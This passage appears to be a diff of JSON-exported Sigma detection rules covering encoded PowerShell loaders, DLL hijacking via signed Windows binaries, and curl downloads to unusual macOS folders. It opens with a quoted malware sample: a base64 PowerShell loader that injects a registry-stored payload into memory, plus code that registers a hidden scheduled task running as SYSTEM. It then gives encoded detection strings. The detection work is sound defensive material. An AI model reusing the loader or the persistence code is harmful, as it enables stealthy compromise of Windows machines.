tAEYAbwByAGMAZQAgACQAUABJAEQAOwB9AGYAdQBuAGMAdABpAG8AbgAgAEQASwBQAEQATQBLACgAJABMAE0ARgB6AEIAaABwAGwAYQBlACwAIAAkAE0AdgBoAEQANgBUAG4ATwBpAFMALAAgACQAdQBRAFkAMwBUAG4AbQApACAAewAkAEEAWABSADUAWABiAGwAbABVACAAPQAgACQAZABNAEsAVQBiAE4AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkAOwAkAG8ANwBkADYARgBuADEANwA5AGEAIAA9ACAAJABkAE0ASwBVAGIATgA6ADoAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKAAwACwAJABMAE0ARgB6AEIAaABwAGwAYQBlAC4ATABlAG4AZwB0AGgALAAwAHgAMAAwADAAMAAzADAAMAAwACwAMAB4ADQAMAApADsAJAB6AHEAbwB0AFcAbwBrACAAPQAgACQAZABNAEsAVQBiAE4AOgA6AFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgAMAAsACQAdQBRAFkAMwBUAG4AbQAuAEwAZQBuAGcAdABoACwAMAB4ADAAMAAwADAAMwAwADAAMAAsADAAeAA0ADAAKQA7ACQAZABNAEsAVQBiAE4AOgA6AFcAcgBpAHQAZQBQAHIAbwBjAGUAcwBzAE0AZQBtAG8AcgB5ACgAJABBAFgAUgA1AFgAYgBsAGwAVQAsACAAJABvADcAZAA2AEYAbgAxADcAOQBhACwAIAAkAEwATQBGAHoAQgBoAHAAbABhAGUALAAgACQATABNAEYAegBCAGgAcABsAGEAZQAuAEwAZQBuAGcAdABoACwAIAAwACkAIAB8ACAATwB1AHQALQBOAHUAbABsADsAJABkAE0ASwBVAGIATgA6ADoAVwByAGkAdABlAFAAcgBvAGMAZQBzAHMATQBlAG0AbwByAHkAKAAkAEEAWABSADUAWABiAGwAbABVACwAIAAkAHoAcQBvAHQAVwBvAGsALAAgACQAdQBRAFkAMwBUAG4AbQAsACAAJAB1AFEAWQAzAFQAbgBtAC4ATABlAG4AZwB0AGgALAAgADAAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwAOwAkAHMAMwBjAGoAVABoACAAPQAgAFsASQBuAHQAUAB0AHIAXQAoACQAbwA3AGQANgBGAG4AMQA3ADkAYQAuAFQAbwBJAG4AdAA2ADQAKAApACsAJABNAHYAaABEADYAVABuAE8AaQBTACkAOwAkAGcAVAByAGgAVgB6AHoAIAA9ACAAYwBOAEUAUwBRAGkAIABAACgAWwBJAG4AdABQAHQAcgBdACwAIABbAEkAbgB0AFAAdAByAF0AKQAgACgAWwBWAG8AaQBkAF0AKQA7ACQASQBwAHQAagB4AG8AdQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzAC4ATQBhAHIAcwBoAGEAbABdADoAOgBHAGUAdABEAGUAbABlAGcAYQB0AGUARgBvAHIARgB1AG4AYwB0AGkAbwBuAFAAbwBpAG4AdABlAHIAKAAkAHMAMwBjAGoAVABoACwAIAAkAGcAVAByAGgAVgB6AHoAKQA7ACQAZABNAEsAVQBiAE4AOgA6AFMAZQB0AEUAcgByAG8AcgBNAG8AZABlACgAMAB4ADgAMAAwADYAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwAOwAkAEkAcAB0AGoAeABvAHUALgBJAG4AdgBvAGsAZQAoACQAegBxAG8AdABXAG8AawAsACAAJABvADcAZAA2AEYAbgAxADcAOQBhACkAOwB9AGYAdQBuAGMAdABpAG8AbgAgAHEAbABlADMAbQBzAHEAKAAkAGwAbQBJAGoAWQBXAFMAWgAsACAAJABoADUAMQAyAEoAdQA0ADUAKQAgAHsAJABOAEgAMgBTAGQAIAA9ACAATgBVAEEAbABHAEMAWABwAGcAIAAkAGwAbQBJAGoAWQBXAFMAWgAgADEAOwAkAEMAcgB2AHIARQBDACAAPQAgADUAOwB3AGgAaQBsAGUAIAAoACQAQwByAHYAcgBFAEMAKwA4ACAALQBsAHQAIAAkAE4ASAAyAFMAZAApACAAewAkAGQAdAB6AHMAMwA0ADYAWAAgAD0AIAAkAGwAbQBJAGoAWQBXAFMAWgBbACQAQwByAHYAcgBFAEMAXQA7ACQAagBtAEoAVQBrADYAZABGACAAPQAgAE4AVQBBAGwARwBDAFgAcABnACAAJABsAG0ASQBqAFkAVwBTAFoAIAAoACQAQwByAHYAcgBFAEMAKwAxACkAOwAkAHEATwBOAHEATQBaACAAPQAgAE4AVQBBAGwARwBDAFgAcABnACAAJABsAG0ASQBqAFkAVwBTAFoAIAAoACQAQwByAHYAcgBFAEMAKwA1ACkAOwAkAEMAcgB2AHIARQBDACAAKwA9ACAAOQA7AGkAZgAgACgAJABkAHQAegBzADMANAA2AFgAIAAtAGUAcQAgACQAaAA1ADEAMgBKAHUANAA1ACkAIAB7AEQASwBQAEQATQBLACAAJABsAG0ASQBqAFkAVwBTAFoAWwAkAEMAcgB2AHIARQBDAC4ALgAoACQAQwByAHYAcgBFAEMAKwAkAGoAbQBKAFUAawA2AGQARgApAF0AIAAkAHEATwBOAHEATQBaACAAJABsAG0ASQBqAFkAVwBTAFoAOwBiAHIAZQBhAGsAOwB9ACAAZQBsAHMAZQAgAHsAJABDAHIAdgByAEUAQwAgACsAPQAgACQAagBtAEoAVQBrADYAZABGADsAfQB9AH0AJABoAEcAZQAzAFgAIAA9ACAAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAIgAkAFoAaABTAGsAeABXACIAIAAtAE4AYQBtAGUAIAAiACQARQBHAEgAUgBYAGUAbAAyACIAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAuACQARQBHAEgAUgBYAGUAbAAyADsAaQBmACAAKAAhACQAaABHAGUAMwBYACkAIAB7ACQAaABHAGUAMwBYACAAPQAgACIAIgA7AGYAbwByACAAKAAkAEMAcgB2AHIARQBDAD0AMAA7ACAAJABrAGwAcgA4AGUAQwBsADIAMgA9ACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACIAJABaAGgAUwBrAHgAVwAiACAALQBOAGEAbQBlACAAIgAkAEUARwBIAFIAWABlAGwAMgAtACQAQwByAHYAcgBFAEMAIgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AIgAkAEUARwBIAFIAWABlAGwAMgAtACQAQwByAHYAcgBFAEMAIgA7ACAAJABDAHIAdgByAEUAQwArACsAKQAgAHsAJABoAEcAZQAzAFgAIAArAD0AIAAkAGsAbAByADgAZQBDAGwAMgAyAC4AVAByAGkAbQAoACkAOwB9AH0AJABsAG0ASQBqAFkAVwBTAFoAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAaABHAGUAMwBYACkAOwAkAGwAbQBJAGoAWQBXAFMAWgBbADAAXQAgAD0AIAAwADsAaQBmACAAKABbAEkAbgB0AFAAdAByAF0AOgA6AFMAaQB6AGUAIAAtAGUAcQAgADgAKQAgAHsAcQBsAGUAMwBtAHMAcQAgACQAbABtAEkAagBZAFcAUwBaACAAMgA7AH0AIABlAGwAcwBlACAAewBxAGwAZQAzAG0AcwBxACAAJABsAG0ASQBqAFkAVwBTAFoAIAAxADsAfQBTAHQAbwBwAC0AUAByAG8AYwBlAHMAcwAgAC0ARgBvAHIAYwBlACAAJABQAEkARAA7AA==\";$bYW7kz = New-Object -ComObject Schedule.Service;$bYW7kz.Connect();$Uyd3zfK8wH = $bYW7kz.NewTask(0);$Uyd3zfK8wH.Settings.Priority = 6;$Uyd3zfK8wH.Settings.Hidden = $true;$Uyd3zfK8wH.Settings.Enabled = $true;If ($c85X2z -eq 0) {$SSG3IclKIY = $Uyd3zfK8wH.Triggers.Create(8);} ElseIf ($c85X2z -eq 1) {$SSG3IclKIY = $Uyd3zfK8wH.Triggers.Create(1);$SSG3IclKIY.StartBoundary = (Get-Date).ToString(\"s\");$SSG3IclKIY.Repetition.Interval = \"PT2H5M\"}$z1py83At = $Uyd3zfK8wH.Actions.Create(0);$z1py83At.Path = Join-Path $psHome \"PowerShell.exe\";$z1py83At.Arguments = \" -NonInteractive -WindowStyle Hidden -EncodedCommand $cAQNi\";$chrOzZ1S = $bYW7kz.GetFolder(\"\");$chrOzZ1S.RegisterTaskDefinition($dANHP8T,$Uyd3zfK8wH,6,\"SYSTEM\",$null,5,$null);\n        CommandLine|contains:\n            # New-Object -ComObject Schedule.Service;\n            - 'PQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAEMAbwBtAE8AYgBqAGUAYwB0ACAAUwBjAGgAZQBkAHUAbABlAC4AUwBlAHIAdgBpAGMAZQA7A'\n            - '0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBDAG8AbQBPAGIAagBlAGMAdAAgAFMAYwBoAGUAZAB1AGwAZQAuAFMAZQByAHYAaQBjAGUAOw'\n            - '9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AQwBvAG0ATwBiAGoAZQBjAHQAIABTAGMAaABlAGQAdQBsAGUALgBTAGUAcgB2AGkAYwBlADsA'\n\n    selection_child_2:\n        CommandLine|contains:\n            # .StartBoundary = (Get-Date).ToString(\"s\");\n            - 'LgBTAHQAYQByAHQAQgBvAHUAbgBkAGEAcgB5ACAAPQAgACgARwBlAHQALQBEAGEAdABlACkALgBUAG8AUwB0AHIAaQBuAGcAKAAiAHMAIgApADsA'\n            - '4AUwB0AGEAcgB0AEIAbwB1AG4AZABhAHIAeQAgAD0AIAAoAEcAZQB0AC0ARABhAHQAZQApAC4AVABvAFMAdAByAGkAbgBnACgAIgBzACIAKQA7A'\n            - 'uAFMAdABhAHIAdABCAG8AdQBuAGQAYQByAHkAIAA9ACAAKABHAGUAdAAtAEQAYQB0AGUAKQAuAFQAbwBTAHQAcgBpAG4AZwAoACIAcwAiACkAOw'\n\n    selection_child_3:\n        CommandLine|contains:\n            # -NonInteractive -WindowStyle Hidden -EncodedCommand $\n            - 'IAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEUAbgBjAG8AZABlAGQAQwBvAG0AbQBhAG4AZAAgACQA'\n            - 'AALQBOAG8AbgBJAG4AdABlAHIAYQBjAHQAaQB2AGUAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIAAkA'\n            - 'gAC0ATgBvAG4ASQBuAHQAZQByAGEAYwB0AGkAdgBlACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAJA'\n\n    condition: selection_powershell and ((all of selection_loader_*) or (all of selection_child_*))\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "71c03cb7-362d-4076-95e6-72f3834cdd23",
+  "rule_name": "Generic Malicious PowerShell Payload Detected",
+  "rule_description": "Detects suspicious PowerShell command-line arguments used by an unknown fileless malware that reads an additional payload from the registry.\nAdversaries may use encoded PowerShell cmdlets to deploy staged payloads.\nIt is recommended to check for malicious actions by child and parent processes of PowerShell and to look for other suspicious activities on the host.\n",
+  "rule_creation_date": "2021-12-20",
+  "rule_modified_date": "2025-04-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1106"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "721cf2be-8e21-4cb8-88ed-5f813feeee18",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.075836Z",
+  "creation_date": "2026-03-23T11:45:34.075838Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.075842Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://twitter.com/an0n_r0/status/1544472352657915904",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_vsgraphicsdesktopengine.yml",
+  "content": "title: DLL Hijacking via vsgraphicsdesktopengine.exe\nid: 721cf2be-8e21-4cb8-88ed-5f813feeee18\ndescription: |\n    Detects potential Windows DLL Hijacking via vsgraphicsdesktopengine.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://twitter.com/an0n_r0/status/1544472352657915904\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'vsgraphicsdesktopengine.exe'\n        ImageLoaded|endswith:\n            - '\\d2d1.dll'\n            - '\\d3d11.dll'\n            - '\\devobj.dll'\n            - '\\version.dll'\n            - '\\webservices.dll'\n            - '\\xmllite.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "721cf2be-8e21-4cb8-88ed-5f813feeee18",
+  "rule_name": "DLL Hijacking via vsgraphicsdesktopengine.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via vsgraphicsdesktopengine.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "728eca4f-f506-46e0-bd7e-6369503a3ec2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.088302Z",
+  "creation_date": "2026-03-23T11:45:34.088304Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.088308Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://twitter.com/an0n_r0/status/1544472352657915904",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_forfiles.yml",
+  "content": "title: DLL Hijacking via forfiles.exe\nid: 728eca4f-f506-46e0-bd7e-6369503a3ec2\ndescription: |\n    Detects potential Windows DLL Hijacking via forfiles.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://twitter.com/an0n_r0/status/1544472352657915904\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'forfiles.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\version.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "728eca4f-f506-46e0-bd7e-6369503a3ec2",
+  "rule_name": "DLL Hijacking via forfiles.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via forfiles.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7291c7c2-bf8d-4a9e-82ef-2b0feb135ca5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.617687Z",
+  "creation_date": "2026-03-23T11:45:34.617689Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.617693Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.jamf.com/blog/bluenoroff-apt-targets-macos-rustbucket-malware/",
+    "https://attack.mitre.org/techniques/T1105/"
+  ],
+  "name": "t1105_curl_download_susp_folder.yml",
+  "content": "title: File Downloaded to a Suspicious Folder via curl\nid: 7291c7c2-bf8d-4a9e-82ef-2b0feb135ca5\ndescription: |\n    Detects a curl command-line containing an uncommon folder path.\n    Attackers may download payloads to these folders to try to avoid detection or to have their payload deleted on reboot.\n    It is recommended to investigate files that were downloaded, and to analyze the process that executed the curl command to determine whether this action was legitimate.\nreferences:\n    - https://www.jamf.com/blog/bluenoroff-apt-targets-macos-rustbucket-malware/\n    - https://attack.mitre.org/techniques/T1105/\ndate: 2024/06/20\nmodified: 2025/03/07\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1105\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.LOLBin.Curl\n    - classification.macOS.Behavior.FileDownload\n    - classification.macOS.Behavior.CommandAndControl\nlogsource:\n    product: macos\n    category: filesystem_event\ndetection:\n    selection:\n        ProcessImage|endswith: '/curl'\n        Path|startswith:\n            - '/Users/shared/'\n            - '/private/var/tmp'\n            - '/private/etc/'\n            - '/private/var/root/'\n            - '/Volumes/'\n        Kind:\n            - 'create'\n            - 'rename'\n\n    exclusion_jamf:\n        - ProcessAncestors|contains: '/usr/local/jamf/bin/jamf'\n        - ProcessParentCommandLine|contains: '/Library/Application Support/JAMF/tmp/'\n\n    exclusion_avast:\n        ProcessParentCommandLine|startswith: '/bin/bash /Applications/Avast.app/Contents/Backend/scripts/update/shepherd.sh'\n\n    exclusion_lua:\n        ProcessCommandLine: 'curl -sSL -D /tmp/plenary_curl_????????.headers -X POST -H Content-Type: application/json -d @/tmp/lua_?????? http://*:*/exa.language_server_pb.LanguageServerService/*'\n        Path: '/private/tmp/plenary_curl_????????.headers'\n\n    exclusion_adode:\n        ProcessParentImage|endswith: '/AcroInstallAlert.app/Contents/MacOS/AcroInstallAlert'\n        ProcessCommandLine: 'usr/bin/curl -H Cache-Control: no-cache https://acroipm2.adobe.com/assets/installer/osx/DC/installpings_c/scamini/entryPackage/preinstall/'\n\n    exclusion_homebrew:\n        ProcessParentImage|startswith: '/opt/homebrew/'\n\n    exclusion_nix:\n        ProcessImage|startswith: '/nix/store/'\n        Path|startswith: /private/tmp/nix-build-'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7291c7c2-bf8d-4a9e-82ef-2b0feb135ca5",
+  "rule_name": "File Downloaded to a Suspicious Folder via curl",
+  "rule_description": "Detects a curl command-line containing an uncommon folder path.\nAttackers may download payloads to these folders to try to avoid detection or to have their payload deleted on reboot.\nIt is recommended to investigate files that were downloaded, and to analyze the process that executed the curl command to determine whether this action was legitimate.\n",
+  "rule_creation_date": "2024-06-20",
+  "rule_modified_date": "2025-03-07",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1105"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7296ec56-8aef-43db-aa54-6ef122690e39",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.082578Z",
+  "creation_date": "2026-03-23T11:45:34.082580Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.082585Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_rstrui.yml",
+  "content": "title: DLL Hijacking via rstrui.exe\nid: 7296ec56-8aef-43db-aa54-6ef122690e39\ndescription: |\n    Detects potential Windows DLL Hijacking via rstrui.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'rstrui.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\bcd.dll'\n            - '\\ktmw32.dll'\n            - '\\SPP.dll'\n            - '\\SRCORE.dll'\n            - '\\VSSAPI.DLL'\n            - '\\VssTrace.DLL'\n            - '\\wer.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7296ec56-8aef-43db-aa54-6ef122690e39",
+  "rule_name": "DLL Hijacking via rstrui.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via rstrui.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
